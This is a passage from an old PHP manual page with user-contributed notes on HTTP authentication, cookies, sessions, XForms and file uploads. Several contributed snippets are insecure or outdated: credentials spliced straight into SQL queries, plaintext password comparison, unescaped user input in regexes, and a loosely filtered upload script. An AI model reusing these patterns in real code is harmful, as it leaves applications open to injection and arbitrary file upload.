It's this last step that is crucial, yet not documented anywhere. If you don't, instead of the headers asking for credentials, IIS will return its own fancy but useless 'you are not authenticated' page. But if you do, then the browser will properly ask for credentials, and supply them in the $_SERVER['PHP_AUTH_*'] elements.
ken_php_net at wolfpackinteractive dot com 25-Dec-2003 01:16
Say you have password and groups files in standard Apache format (htpasswd etc.), but you want to apply authorization based on something other than filename, ie something you can't catch in .htaccess.  You want to emulate the server behavior in PHP -- the equivalent of:

AuthType Basic
AuthName "Members"
AuthUserFile /path/to/.htpasswd
AuthGroupFile /path/to/.groups
require group Members

Here's what I came up with:

<?PHP

$AuthUserFile = file("/path/to/.htpasswd");
$AuthGroupFile = file("/path/to/.groups");
$group = "Members";
$realm = "Members";

function authenticate(){
    header("WWW-Authenticate: Basic realm=\"$realm\"");
    header('HTTP/1.0 401 Unauthorized');
    echo "You must enter a valid user name and password to access the requested resource.";
    exit;
}

for(; 1; authenticate()){
    if (!isset($HTTP_SERVER_VARS['PHP_AUTH_USER']))
        continue;

    $user = $HTTP_SERVER_VARS['PHP_AUTH_USER'];
    if(!preg_grep("/$group: $user$/", $AuthGroupFile))  # (format assumptions)
        continue;

    if(!($authUserLine = array_shift(preg_grep("/$user:.*$/", $AuthUserFile))))
        continue;

    preg_match("/$user:((..).*)$/", $authUserLine, $matches);
    $authPW = $matches[1];
    $salt = $matches[2];
    $submittedPW = crypt($HTTP_SERVER_VARS['PHP_AUTH_PW'], $salt);
    if($submittedPW != $authPW)
        continue;

    break;
}

echo "You got in!"
?>
Paul 08-Nov-2003 03:53
Here is a extremely easy way to successfully logout.

<?php
if ( $realm == '' )
$realm = mt_rand( 1, 1000000000 );
    header( 'WWW-Authenticate: Basic realm='.$realm );
?>

To log the user out simply change the value of $realm
bela - iandistudio 20-Oct-2003 10:40
Hi there. Thought long and hard to come up with a logout mechanism that erases the variables $PHP_AUTH_USER and $PHP_AUTH_PW. Finally came up with something, it is better than nothing, hope somebody will find it usefull:

logout.php:

<?
header("Location: http://EnterYourUserName:YourPassword@ServerRoot".$PHP_SELF);
exit;
?>

"EnterYourUserName" and "YourPassword" will be the two variables new value, while "ServerRoot" is your server's domainname (like www.somedomain.com).
You should ensure, that nobody will use "EnterYourUserName" as it's login name.

Happy coding.
ad_ver at inbox dot ru 04-Sep-2003 07:54
Modified script from "jonhaynes at bigfoot dot com" using Oracle logon

<?php
function authenticate() {
header("WWW-Authenticate: Basic realm=\"My Realm\"");
header("HTTP/1.0 401 Unauthorized");
print("You must enter a valid login username and password
to access this resource.\n");
exit;
}

if(!isset($_SERVER['PHP_AUTH_USER'])){ authenticate(); }
else {
    $conn = @ OCILogon($_SERVER['PHP_AUTH_USER'], $_SERVER['PHP_AUTH_PW'], "orcl92") ;
    if(!$conn)
        { authenticate(); }
    else {OCILogoff($conn);};
}
?>
steve at topozone dot com 16-Jun-2003 12:51
The method described in the text does not appear to work with PHP in cgi mode and Apache-2.x. I seems that Apache has gotten stricter or introduced a bug such that you can initiate the authentication, but Apache seems to try to  authenticate the browser response which always fails because it does not know what to authenticate against and the headers never get passed back to the PHP script.

I didn't try it with PHP as a module.
JKi 14-Feb-2003 03:38
To clear HTTP authentication cache in Internet Explorer (6 SP1 and later), use "ClearAuthenticationCache" command.

document.execCommand("ClearAuthenticationCache");
emmanuel dot keller at net2000 dot ch 14-Jan-2003 02:14
Some servers won't support the HTTP1.0 specification and will give an error 500 (for instance). This happened with a server where I uploaded an authentication script.

If it happens, you can try the HTTP1.1 header syntax :

<?php
header("WWW-Authenticate: Basic realm=\"My Realm\"");
header('status: 401 Unauthorized');
?>
yaroukh at email dot cz 12-Jan-2003 04:42
Here is my solution - works in MSIE and Mozilla.

I use http-authentication only for the first time user accesses his
private page; after valid username and password are provided, he is
recognized using his sessionID and ip ...
the reasons are following:
1) when users changes his password it is not required instantly
   (I find this quite comfortable)
2) auto-login function works fine (unless user click logout)

And here's how i works ...

The "trick" is to pass a temporary username+password to the browser.
(I call it "temporary" because no user account matching these
parameters is neccessary.)

The most essential thing is the following link on user's private page:

===
<?  $url = "http://".
        $username.     // see note 1
        ":".
        Session_ID().  // see note 2
        "@localhost/".PROJECT_NAME."/logout.phtml";
?>
<a href="<?=$url?>">logout</a>
===

1) we pass the actual username because MSIE uses this username as
   a "default pre-fill" for the login-window and some hash-string
   would confuse the users.
2) the temporary password is not too important, but there are
   two things we expect from it:
   a) we need to know this string in the logout.phtml script
   b) the string definetely should not match the user's password
      (otherwise user gets logged back instantly); using current
      Session_ID() we are pretty sure this won't happen

This link causes that the temporary login-params are available in
the logout.phtml script.
Using "www-authenticate" header in the logout.phtml script we force
the browser to accept our temporary login-params. (I suppose browser
actually repeats the request and the next time it checks
the login-params sent in the URL; but this is only my guess and
it is not important.)

The logout.phtml code:
===
<?  $query = "UPDATE users SET sessionID = NULL ".
        "WHERE sessionID = '".Session_ID()."'";
     $mysql->query($query);
     // because we (me :o) use the sessionID and the ip for
     // the identification we need to clean the sessionID; (I found it
     // a little bit easier to destroy the sessionID in the db than
     // unsetting the cookie and/or destroying+restarting
     // the current session)

     if($PHP_AUTH_PW != Session_ID()) {
        // keep asking for the login-params untill PHP_AUTH_PW returned
        // by the browser matches the current Session_ID() (which means
        // that the browser accepted the temporary login-params
        // we sent to it AND FORGOT THE REAL ONES)

        Header("HTTP/1.0 401 Unauthorized");
        Header("WWW-Authenticate: Basic realm=\"".PROJECT_NAME."\"");
    }
?>
<html>
    <head>
        <meta http-equiv="author" content="yaroukh at email dot cz">
        <title><?=PROJECT_NAME?></title>
        <link rel="stylesheet" href="style.css" type="text/css">
    </head>
    <body>
         <a href="http://localhost/<?=PROJECT_NAME?>/main.phtml">continue</a>
    </body>
</html>
===

About the "continue" link: the link is not too important, but using it
we can get rid off the temporary login-params which wouldn't look
too aesthetically in the address-bar. :o)
05-Jun-2002 02:08
A more elegant way to force a new name/password, cf. example 17-2 (if you don't mind passing the old user in the query string):

<?
if (isset($PHP_AUTH_USER))
{
    if (!isset($prev_user))
    {
        header("Location: http://$HTTP_HOST$PHP_SELF?prev_user=$PHP_AUTH_USER");
        exit;
    }
    else
    {
        if ($PHP_AUTH_USER == $prev_user)
        {
            header('WWW-Authenticate: Basic realm="Secure"');
            header('HTTP/1.0 401 Unauthorized');
            exit;
        }
    }
}
else
{
    header('WWW-Authenticate: Basic realm="Secure"');
    header('HTTP/1.0 401 Unauthorized');
    exit;
}
?>

The final set of headers is necessary because some browsers seem to unset $PHP_AUTH_USER when the location header is sent.
louis dot carlier at ngroups dot com 23-May-2002 08:22
The definitive HTTP authorization code:

<?php
function login_error()
{
 echo "error - login process failed."
}

if (!isset($PHP_AUTH_USER))
{
 header("WWW-Authenticate: Basic realm=\"Mosaic Authorization process\"");
 header("HTTP/1.0 401 Unauthorized");

 //Result if user hits cancel button
 login_error();
}
else
{

 //check the login and password
 if('=>test on login and password<=')
 {
  //User is logged
  ...
  ...
 }
 else
 {
  //This re-asks three times the login and password.
  header( "WWW-Authenticate: Basic realm=\"Test Authentication System\"");
  header("HTTP/1.0 401 Unauthorized");

  //Result if user does not give good login and pass
  login_error();
 }
}
?>
sjeffrey at inquesis dot com 29-Jan-2002 03:00
To get it to work with IIS try using this code before setting your "$auth = 0" and the "if (isset($PHP_AUTH_USER) && isset($PHP_AUTH_PW))"

<?php
//////////////////////////////////////////

if ($PHP_AUTH_USER == "" && $PHP_AUTH_PW == "" && ereg("^Basic ", $HTTP_AUTHORIZATION))
{
  list($PHP_AUTH_USER, $PHP_AUTH_PW) =
    explode(":", base64_decode(substr($HTTP_AUTHORIZATION, 6)));
}

//////////////////////////////////////////
?>

It worked for me on IIS 5 and PHP 4 in ISAPI
owld at mail dot ru 30-Aug-2000 03:04
Good day.I've solved a problem where IE4 asks for the age one more time after a 401, defeating sending a 401 once to force a user to log on again.

<?php
  function  authenticate()  {
    setcookie("noauth","");
    Header( "WWW-authenticate:  Basic realm=\"test\"");
    Header( "HTTP/1.0  401  Unauthorized");
    echo "You must enter user name";
   exit ;
  }
  if  (   !isset($PHP_AUTH_USER) ||  ($logoff==1) && $noauth=="yes"  )   {
    authenticate();
  }
?>

And logoff link -

<a href="samehtml.phtml?logoff=1">Logoff</a></td>

Dmitry Alyekhin
tigran at freenet dot am 19-May-2000 02:31
Here is a code for the public sites enabling both logout bottom and timeout using php+mysql. Working for both browsers.
The part "required" for each user protected page:

<?
function auth () {
        Header("WWW-Authenticate: Basic realm=\"ArmFN public site\"");
        Header("HTTP/1.0 401 Unauthorized");
        echo "You have to authentificate yourself first \n";
        exit;
}

mysql_connect("localhost","train","") or die("Unable to connect to SQL server");
mysql_select_db( "train") or die( "Unable to select database");

if(!isset($PHP_AUTH_USER)) {

$timeout = mktime(date(G),date(i)+10,0,date("m"),date("d"),date("Y"));
mysql_query("update users set login='$timeout' where id='$user' and pasw='$pass'") or die("k");

    auth();

            } else {

    $pass = $PHP_AUTH_PW;
    $user = $PHP_AUTH_USER;

$nowtime = mktime(date(G),date(i),0,date("m"),date("d"),date("Y"));
$quer2 = mysql_query("select * from users where id='$user' and pasw='$pass' and login > '$nowtime'") or die("kuk2");

    if (mysql_num_rows($quer2) == "0") {
$timeout = mktime(date(G),date(i)+10,0,date("m"),date("d"),date("Y"));
mysql_query("update users set login='$timeout' where id='$user' and pasw='$pass'") or die("k");

auth();
}
        }
?>

You can have a "logout" bottom with hidden $go="logout" form element and then have somewhere this part:

if ($do == "logout") {
mysql_connect("localhost","train","") or die("Unable to connect to SQL server");
mysql_select_db( "train") or die( "Unable to select database");
mysql_query("update users set login=0 where id='$PHP_AUTH_USER' and pasw='$PHP_AUTH_PW'") or die("k");
}
rratboy at pobox dot com 09-Feb-2000 11:59
I had the same problem as above (that is, with apache I can't get the auth info). The solution I found goes like this:

<?php
$headers = getallheaders();
$auth=$headers['authorization'];
if ($auth=='') { $auth=$headers['Authorization']; }

if($auth=='')
{
    Header("WWW-Authenticate: Basic realm=\"$PROG_NAME\"");
    Header("HTTP/1.0 401 Unauthorized");
}
?>

list($user, $pass) = explode(":", base64_decode(substr($auth, 6)));
Features
Cookies
Features


Cookies

PHP transparently supports HTTP cookies. Cookies are a mechanism for storing data in the remote browser and thus tracking or identifying return users. You can set cookies using the setcookie() or setrawcookie() function. Cookies are part of the HTTP header, so setcookie() must be called before any output is sent to the browser. This is the same limitation that header() has. You can use the output buffering functions to delay the script output until you have decided whether or not to set any cookies or send any headers.

Any cookies sent to you from the client will automatically be included into a $_COOKIE auto-global array if variables_order contains "C". If you wish to assign multiple values to a single cookie, just add [] to the cookie name.

Depending on register_globals, regular PHP variables can be created from cookies. However it's not recommended to rely on them as this feature is often turned off for the sake of security. $HTTP_COOKIE_VARS is also set in earlier versions of PHP when the track_vars configuration variable is set. (This setting is always on since PHP 4.0.3.)

For more details, including notes on browser bugs, see the setcookie() and setrawcookie() function.

User Contributed Notes

john at host89 dot net 27-Oct-2009 05:24
I'm currently developing a secure system utilizing PHP session cookies, and rather than trying to deal with recreating a session every time the script runs (which would hurt server performance), I'm having the script send a 2nd cookie to the client which contains an MD5 of their username along with a random value (so that it's harder to generate a matching key if somebody is trying to hijack the session.) The original random value can be stored as $_SESSION['rndvalue'] or something of the like, and easily re-hashed and compared to the cookie. If it isn't valid, just a simple session_destroy(); does the trick. For higher security, the random value could even be changed at every new page, and to make leeway for that double-click phenomon, save the old one as 'rndvalueold' with the expiration time as 'rndvalueexpire' or something. This will also let users use the back button even if the session ID is passed via GET or POST.
Henry 08-May-2009 07:15
It is better to note not to attach your cookies to and IP and block the IP if it is different as some people use Portable Browsers which will remember the cookies.  It is better to show a login screen instead if the IP does not correspond to the session cookie's IP.
ingen at stocken.ws 19-Nov-2006 12:26
If you want a secured session not tied to the client IP you can use the valid-for-one-query method below, but to safeguard against a scenario where the legitimate user clicks twice, you can use a shutdown function (register_shutdown_function)*.

It will check to see if the script terminated prematurely (connection_aborted), and reset the valid session ID. That way, it's still valid when the user makes the second request. If the script ends properly, the new session ID will be used instead.

Now, since you can't set a cookie from the shutdown function (after output has been sent), the cookie should contain both the previous valid session ID and the new one. Then the server script will determine (on the next request) which one to use.

:: Pseudo example:
::
:: [Start of script:]
::
:: 1. Get the session ID(s) from cookie
:: 2. If one of the session ID's is still valid (that is, if there's a storage associated with it - in DB, file or whatever)
::  ____2.1. Open the session
:: 3. Generate a new session ID
:: 4. Save the new session ID with the one just used in cookie
:: 5. Register shutdown function
::
:: [End of script (shutdown function):]
::
:: 1. If script ended prematurely
:: ____1.1. Save session data using the old Session ID
:: 2. Else
:: ____2.1. Save session data using the new Session ID
:: ____2.2. Make sure the old session ID is added to a list of ID's (used for the purpose described below)
:: ____2.3. Trash the old session storage

There's still the possibility of some deviant network sniffer catching the session cookie as it's sent to the client, and using it before the client gets the chance to. Thus, successfully hijacking the session.

If an old session ID is used, we must assume the session has been hijacked. Then the client could be asked to input his/her password before data is sent back. Now, since we have to assume that only the legitimate user has the password we won't send back any data until a password is sent from one request.

And finally, (as a sidenote) we could obscure the login details (if the client has support for javascript) by catching the form as it is sent, take the current timestamp and add it to the form in a dynamically generated hidden form object, replace the password field with a new password that is the MD5 (or similar) of the timestamp and the real password. On the serverside, the script will take the timestamp, look at the user's real password and make the proper MD5. If they match, good, if not, got him! (This will of course only work when we have a user with a session that's previously logged in, since we know what password (s)he's supposed to have.) If the user credentials are saved as md5(username+password), simply ask for both the username and password, md5 them and then md5 the timestamp and the user cred.

---

If you need a javascript for md5: http://pajhome.org.uk/crypt/md5/md5src.html

---

* You could use session_set_save_handler and make sure the session ID is generated in the open function. I haven't done that so I can't make any comments on it yet.
kalla_durga at gmail dot com 03-Feb-2006 12:10
In response to the solution posted in the comment below, there are some practical issues with this solution that must be kept in mind and handled by your code. I developed an application using a similar "use-it-once" key to manage sessions and it worked great but we got some complaints about legitimate users getting logged out without reasons. Turns out the problem was not tentative highjacking, it was  either:

A- Users double click on links or make 2 clicks very fast. The same key is sent for the 2 clicks because the new key from the first click didn't get to the browser on time for the second one but the session on the server did trash the key for the new one. Thus, the second click causes a termination of the session. (install the LiveHttpHeaders extension on firefox and look at the headers sent when you click twice very fast, you'll see the same cookie sent on both and the new cookie getting back from the server too late).

B- For any given reason, the server experiences a slow down and the response with the new key (which has replaced the old one on the server) is not returned to the browser fast enough. The user gets tired of waiting and clicks somewhere else. He gets logged out because this second click send the old key which won't match the one you have on your server.

Our solution was to set up a grace period where the old key was still valid (the current key and the previous key were both kept at all times, we used 15 seconds as a grace period where the old key could still be used). This has the drawback of increasing the window of time for a person to highjack the session but if you tie the validity of the old key to an IP address and/or user agent string, you still get pretty good session security with very very few undesired session termination.
bmorency at jbmlogic dot com 07-Oct-2005 05:14
In response to the solution posted in the comment below, there are some practical issues with this solution that must be kept in mind and handled by your code. I developed an application using a similar "use-it-once" key to manage sessions and it worked great but we got some complaints about legitimate users getting logged out without reasons. Turns out the problem was not tentative highjacking, it was  either:

A- Users double click on links or make 2 clicks very fast. The same key is sent for the 2 clicks because the new key from the first click didn't get to the browser on time for the second one but the session on the server did trash the key for the new one. Thus, the second click causes a termination of the session. (install the LiveHttpHeaders extension on firefox and look at the headers sent when you click twice very fast, you'll see the same cookie sent on both and the new cookie getting back from the server too late).

B- For any given reason, the server experiences a slow down and the response with the new key (which has replaced the old one on the server) is not returned to the browser fast enough. The user gets tired of waiting and clicks somewhere else. He gets logged out because this second click send the old key which won't match the one you have on your server.

Our solution was to set up a grace period where the old key was still valid (the current key and the previous key were both kept at all times, we used 15 seconds as a grace period where the old key could still be used). This has the drawback of increasing the window of time for a person to highjack the session but if you tie the validity of the old key to an IP address and/or user agent string, you still get pretty good session security with very very few undesired session termination.
mega-squall at caramail dot com 23-Feb-2005 01:04
I found a solution for protecting session ID without tying them to client's IP. Each session ID gives access for only ONE querry. On the next querry, another session ID is generated and stored. If somebody hacks the cookie (or the session ID), the first one of the user and the pirate that will use the cookie will get the second disconnected, because the session ID has been used.

If the user gets disconnected, he will reconnect : as my policy is not to have more than one session ID for each user (sessions entries have a UNIQUE key on the collomn in which is stored user login), every entries for that user gets wiped, a new session ID is generated and stored on users dirve : the pirate gets disconnected. This lets the pirate usually just a few seconds to act. The slower visitors are browsing, the longer is the time pirates get for hacking. Also, if users forget to explicitly end their sessions .... some of my users set timeout longer than 20 minutes !

IMPORTANT NOTE : This disables the ability of using the back button if you send the session ID via POST or GET.
James Olsen 21-Jan-2005 08:14
Tying the session to the IP of the user is not a good idea. Some users, notably AOL users, are behind a rotating proxy which means their hits to the server will actually be coming from different IP addresses over the duration of their visit. Trying the session to the IP will not work properly for those users.
myfirstname at braincell dot cx 24-Sep-2003 08:47
[Editor's note: Wilson's comment has been deleted since it didn't contain much useful information, but this note is preserved although its reference is lost]

Just a general comment on Wilton's code snippet: It's generally considered very bad practice to store usernames and/or passwords in cookies, whether or not they're obsfucated.  Many spyware programs make a point of stealing cookie contents.

A much better solution would be to either use the PHP built in session handler or create something similar using your own cookie-based session ID.  This session ID could be tied to the source IP address or can be timed out as required but since the ID can be expired separately from the authentication criteria the authentication itself is not compromised.

Stuart Livings
HTTP authentication with PHP
Sessions
Features


Sessions

Session support in PHP consists of a way to preserve certain data across subsequent accesses. This enables you to build more customized applications and increase the appeal of your web site. All information is in the Session reference section.

User Contributed Notes

There are no user contributed notes for this page.
Cookies
Dealing with XForms
Features


Dealing with XForms

» XForms defines a variation on traditional webforms which allows them to be used on a wider variety of platforms and browsers or even non-traditional media such as PDF documents.

The first key difference in XForms is how the form is sent to the client. » XForms for HTML Authors contains a detailed description of how to create XForms, for the purpose of this tutorial we'll only be looking at a simple example.

Example #1 A simple XForms search form

<h:html xmlns:h="http://www.w3.org/1999/xhtml"
        xmlns="http://www.w3.org/2002/xforms">
<h:head>
 <h:title>Search</h:title>
 <model>
  <submission action="http://example.com/search"
              method="post" id="s"/>
 </model>
</h:head>
<h:body>
 <h:p>
  <input ref="q"><label>Find</label></input>
  <submit submission="s"><label>Go</label></submit>
 </h:p>
</h:body>
</h:html>

The above form displays a text input box (named q), and a submit button. When the submit button is clicked, the form will be sent to the page referred to by action.

Here's where it starts to look different from your web application's point of view. In a normal HTML form, the data would be sent as application/x-www-form-urlencoded, in the XForms world however, this information is sent as XML formatted data.

If you're choosing to work with XForms then you probably want that data as XML, in that case, look in $HTTP_RAW_POST_DATA where you'll find the XML document generated by the browser which you can pass into your favorite XSLT engine or document parser.

If you're not interested in formatting and just want your data to be loaded into the traditional $_POST variable, you can instruct the client browser to send it as application/x-www-form-urlencoded by changing the method attribute to urlencoded-post.

Example #2 Using an XForm to populate $_POST

<h:html xmlns:h="http://www.w3.org/1999/xhtml"
        xmlns="http://www.w3.org/2002/xforms">
<h:head>
 <h:title>Search</h:title>
 <model>
  <submission action="http://example.com/search"
              method="urlencoded-post" id="s"/>
 </model>
</h:head>
<h:body>
 <h:p>
  <input ref="q"><label>Find</label></input>
  <submit submission="s"><label>Go</label></submit>
 </h:p>
</h:body>
</h:html>

Note: As of this writing, many browsers do not support XForms. Check your browser version if the above examples fails.

User Contributed Notes

Darkener Daemon EX 13-Feb-2006 09:21
"php://stdin" doesn't exist in my PHP version. I use the following code block instead :
<?php
if (!isset($HTTP_RAW_POST_DATA))
    $HTTP_RAW_POST_DATA = file_get_contents("php://input");
?>
OrionI 07-Jul-2005 11:33
FireFox has an XForms plugin that works with the latest nightly builds. Check out http://www.mozilla.org/projects/xforms/ for more info. For IE support, there's an ActiveX control from Novell (http://developer.novell.com/xforms/) and one from x-port.net (http://www.formsplayer.com/).

There's also a JavaScript-based one coming out called FormFaces which looks very promising, especially since there are no plugins required and it works in IE, FF, and Opera: http://www.formfaces.com/
lphuberdeau at phpquebec dot org 20-Aug-2004 09:55
Since HTTP_RAW_POST_DATA requires a configuration to be generated and is not enabled as a default value, you will probably have to use the PHP STDIN stream to get the raw data. It's probably better to use this method as the raw data will not be generated every time, even when not needed.

<?php
$fp = fopen( "php://stdin", "r" );
$data = '';
while( !feof( $fp ) )
    $data .= fgets( $fp );
fclose( $fp );
?>
Sessions
Handling file uploads
Features


Handling file uploads

Table of Contents

  • POST method uploads
  • Error Messages Explained
  • Common Pitfalls
  • Uploading multiple files
  • PUT method support

User Contributed Notes

joehopf at gmail dot com 19-Dec-2010 07:02
Please be aware that if you do a comparision like ($error == UPLOAD_ERR_OK) you are NOT on the safe side!

The official example is fine, because I executes a loop for all $_FILES entries. But if you only expect one file and you check $_FILE['something']['error']  == UPLOAD_ERR_OK directly, it will true even if no file was uploaed, because the constant is zero!

So please do $_FILE['something']['error']  === UPLOAD_ERR_OK!
Marcus 19-Nov-2010 09:00
This is the code I use, it works very well and is super simple

*NOTE*
This isn't upload for users.  This is an admin page, so monitoring file types isn't an issue
but would be easy to do merging one of the examples in previous comments with this one

//////////////////////////////////////////////////////////////////////
//THE FORM ON THE HTML PAGE
//////////////////////////////////////////////////////////////////////

<form action="upload.php" method="post" enctype="multipart/form-data">
<input type="file"  name="ufile" />
<input type="submit" value="Upload" />
</form>

//////////////////////////////////////////////////////////////////////
//THE PHP CODE IN upload.php
//////////////////////////////////////////////////////////////////////

<?php

//The files have a link on a page for downloading
//and filenames are also put in the progress bar so
//the file can be viewed in the browser (ie. PDF files)
//so replace a few characters.  Since the file links are
//loaded onto another page via php and filenames
//are displayed, I wanted to use this method instead
//of url_encode() [just looks funny when displayed]

$SafeFile = $HTTP_POST_FILES['ufile']['name'];
$SafeFile = str_replace("#", "No.", $SafeFile);
$SafeFile = str_replace("$", "Dollar", $SafeFile);
$SafeFile = str_replace("%", "Percent", $SafeFile);
$SafeFile = str_replace("^", "", $SafeFile);
$SafeFile = str_replace("&", "and", $SafeFile);
$SafeFile = str_replace("*", "", $SafeFile);
$SafeFile = str_replace("?", "", $SafeFile);

$uploaddir = "uploads/";
$path = $uploaddir.$SafeFile;

if($ufile != none){ //AS LONG AS A FILE WAS SELECTED...

    if(copy($HTTP_POST_FILES['ufile']['tmp_name'], $path)){ //IF IT HAS BEEN COPIED...

        //GET FILE NAME
        $theFileName = $HTTP_POST_FILES['ufile']['name'];

        //GET FILE SIZE
        $theFileSize = $HTTP_POST_FILES['ufile']['size'];

        if ($theFileSize>999999){ //IF GREATER THAN 999KB, DISPLAY AS MB
            $theDiv = $theFileSize / 1000000;
            $theFileSize = round($theDiv, 1)." MB"; //round($WhatToRound, $DecimalPlaces)
        } else { //OTHERWISE DISPLAY AS KB
            $theDiv = $theFileSize / 1000;
            $theFileSize = round($theDiv, 1)." KB"; //round($WhatToRound, $DecimalPlaces)
        }

echo <<<UPLS
<table cellpadding="5" width="300">
<tr>
    <td align="Center" colspan="2"><font color="#009900"><b>Upload Successful</b></font></td>
</tr>
<tr>
    <td align="right"><b>File Name: </b></td>
    <td align="left">$theFileName</td>
</tr>
<tr>
    <td align="right"><b>File Size: </b></td>
    <td align="left">$theFileSize</td>
</tr>
<tr>
    <td align="right"><b>Directory: </b></td>
    <td align="left">$uploaddir</td>
</tr>
</table>

UPLS;

    } else {

//PRINT AN ERROR IF THE FILE COULD NOT BE COPIED
echo <<<UPLF
<table cellpadding="5" width="80%">
<tr>
<td align="Center" colspan="2"><font color=\"#C80000\"><b>File could not be uploaded</b></font></td>
</tr>

</table>

UPLF;
    }
}

?>
ling 03-Nov-2010 12:35
Sometimes you may get empty $_FILES and empty $_POST.
If this happens, this is probably because the posted file size exceed the post_max_size php ini directive value.

You could use something like this to handle it in your form, here it is :

<?php
// The form isn't misbehavin thenâ€¦
if (empty($_FILES) && empty($_POST) && isset($_SERVER['REQUEST_METHOD']) && strtolower($_SERVER['REQUEST_METHOD']) == 'post') {
    $poidsMax = ini_get('post_max_size');
    $oElement->addError("fileoverload", "Your feet is too big, maximum allowed size here is $poidsMax.");
}
?>
Phil Ciebiera 17-Sep-2009 01:54
On a Microsoft platform utilizing IIS, you may run into a situation where, upon moving the uploaded file, anonymous web users can't access the content without being prompted to authenticate first...

The reason for this is, the uploaded file will inherit the permissions of the directory specified in the directive upload_tmp_dir of php.ini.  If this directive isn't set, the default of C:\Windows\Temp is used.

You can work around this by granting the IUSR_[server name] user read access to your temporary upload directory, so that after you move_uploaded_file the permissions will already be set properly.

It's also a good idea to set the Execute Permissions of the upload directory to NOT include Executables, for security reasons.
To accomplish this:
-Open the IIS Manager
-Browse to the relevant sites directory where the uploads will be placed
-Right Click the folder and select Properties
-In the Directory tab of the resulting dialog, set the Execute permissions to be None

This took me a while to figure out, so I hope this helps save some other peoples time.
dbennettNOSPAM at bensoft dot com 05-Aug-2009 10:15
I needed to quickly patch a server with a lot of bad file upload
code (multiple sites).  Here's what I came up with.  Paste this
in every PHP file on the server that contains $_FILE before the
first reference of $_FILE:

<?php
   // begin Dave B's Q&D file upload security code
  $allowedExtensions = array("txt","csv","htm","html","xml",
    "css","doc","xls","rtf","ppt","pdf","swf","flv","avi",
    "wmv","mov","jpg","jpeg","gif","png");
  foreach ($_FILES as $file) {
    if ($file['tmp_name'] > '') {
      if (!in_array(end(explode(".",
            strtolower($file['name']))),
            $allowedExtensions)) {
       die($file['name'].' is an invalid file type!<br/>'.
        '<a href="javascript:history.go(-1);">'.
        '&lt;&lt Go Back</a>');
      }
    }
  }
  // end Dave B's Q&D file upload security code
?>
alex from france 15-Feb-2009 09:37
<?php
/***
    this is a simple and complete function and
    the easyest way i have found to allow you
    to add an image to a form that the user can
    verify before submiting

    if the user do not want this image and change
    his mind he can reupload a new image and we
    will delete the last

    i have added the debug if !move_uploaded_file
    so you can verify the result with your
    directory and you can use this function to
    destroy the last upload without uploading
    again if you want too, just add a value...
***/

function upload_back() { global $globals;

/***
    1rst set the images dir and declare a files
    array we will have to loop the images
    directory to write a new name for our picture
***/

  $uploaddir = 'images_dir/'; $dir = opendir($uploaddir);
  $files = array();

/***
    if we are on a form who allow to reedit the
    posted vars we can save the image previously
    uploaded if the previous upload was successfull.
    so declare that value into a global var, we
    will rewrite that value in a hidden input later
    to post it again if we do not need to rewrite
    the image after the new upload and just... save
    the value...
***/

  if(!empty($_POST['attachement_loos'])) { $globals['attachement'] = $_POST['attachement_loos']; }

/***
    now verify if the file exists, just verify
    if the 1rst array is not empty. else you
    can do what you want, that form allows to
    use a multipart form, for exemple for a
    topic on a forum, and then to post an
    attachement with all our other values
***/

  if(isset($_FILES['attachement']) && !empty($_FILES['attachement']['name'])) {

/***
    now verify the mime, i did not find
    something more easy than verify the
    'image/' ty^pe. if wrong tell it!
***/

    if(!eregi('image/', $_FILES['attachement']['type'])) {

      echo 'The uploaded file is not an image please upload a valide file!';

    } else {

/***
    else we must loop our upload folder to find
    the last entry the count will tell us and will
    be used to declare the new name of the new
    image. we do not want to rewrite a previously
    uploaded image
***/

        while($file = readdir($dir)) { array_push($files,"$file"); echo $file; } closedir($dir);

/***
    now just rewrite the name of our uploaded file
    with the count and the extension, strrchr will
    return us the needle for the extension
***/

        $_FILES['attachement']['name'] = ceil(count($files)+'1').''.strrchr($_FILES['attachement']['name'], '.');
        $uploadfile = $uploaddir . basename($_FILES['attachement']['name']);

/***
    do same for the last uploaded file, just build
    it if we have a previously uploaded file
***/

        $previousToDestroy = empty($globals['attachement']) && !empty($_FILES['attachement']['name']) ? '' : $uploaddir . $files[ceil(count($files)-'1')];

// now verify if file was successfully uploaded

      if(!move_uploaded_file($_FILES['attachement']['tmp_name'], $uploadfile)) {

echo '<pre>
Your file was not uploaded please try again
here are your debug informations:
'.print_r($_FILES) .'
</pre>';

      } else {

          echo 'image succesfully uploaded!';

      }

/***
    and reset the globals vars if we maybe want to
    reedit the form: first the new image, second
    delete the previous....
***/

        $globals['attachement'] = $_FILES['attachement']['name'];
        if(!empty($previousToDestroy)) { unlink($previousToDestroy); }

    }

  }
}

upload_back();

/***
    now the form if you need it (with the global...):

    just add the hidden input when you write your
    preview script and... in the original form but!
    if you have send a value to advert your script
    than we are remaking the form. for exemple with a
    hidden input with "reedit" as value  or with a
    $_GET method who can verify that condition
***/

echo '<form action="" method="post" enctype="multipart/form-data">

  <input type="file" name="attachement" name="attachement"></input>
  <input type="hidden" name="attachement_loos" name="attachement_loos" value="', $globals['attachement'] ,'"></input>

  <input type="submit" value="submit"></input>

</form>';
?>
info at levaravel dot com 30-Jan-2009 07:39
A little codesnippet which returns a filesize in a more legible format.

<?php

function display_filesize($filesize){

    if(is_numeric($filesize)){
    $decr = 1024; $step = 0;
    $prefix = array('Byte','KB','MB','GB','TB','PB');

    while(($filesize / $decr) > 0.9){
        $filesize = $filesize / $decr;
        $step++;
    }
    return round($filesize,2).' '.$prefix[$step];
    } else {

    return 'NaN';
    }

}

?>
damien from valex 04-Jan-2009 05:53
This is simpler method of checking for too much POST data (alternative to that by v3 from sonic-world.ru).

<?php
    if ($_SERVER['REQUEST_METHOD'] == 'POST' && empty($_POST) && $_SERVER['CONTENT_LENGTH'] > 0) {
        throw new Exception(sprintf('The server was unable to handle that much POST data (%s bytes) due to its current configuration', $_SERVER['CONTENT_LENGTH']));
    }
?>
Robert W. 11-Dec-2008 07:05
Here's a really fast way to get a files' extension:

<?php

$file = $_FILES['userfile'];

$allowedExtensions = array("txt", "rtf", "doc");

function isAllowedExtension($fileName) {
  global $allowedExtensions;

  return in_array(end(explode(".", $fileName)), $allowedExtensions);
}

if($file['error'] == UPLOAD_ERR_OK) {
  if(isAllowedExtension($file['name'])) {
    # Do uploading here
  } else {
    echo "Invalid file type";
  }
} else die("Cannot upload");

?>

This works in PHP v5+ -- haven't tested in PHP v4
rnagavel at yahoo dot com dot au 25-Nov-2008 01:10
If $_FILES is always empty, check the method of your form.
It should be POST. Default method of a form is GET.

<form action="myaction.php">
 <input type="file" name"userfile">
</form>
File will not be uploaded as default method of the form is GET.

<form action="myaction.php" method="POST">
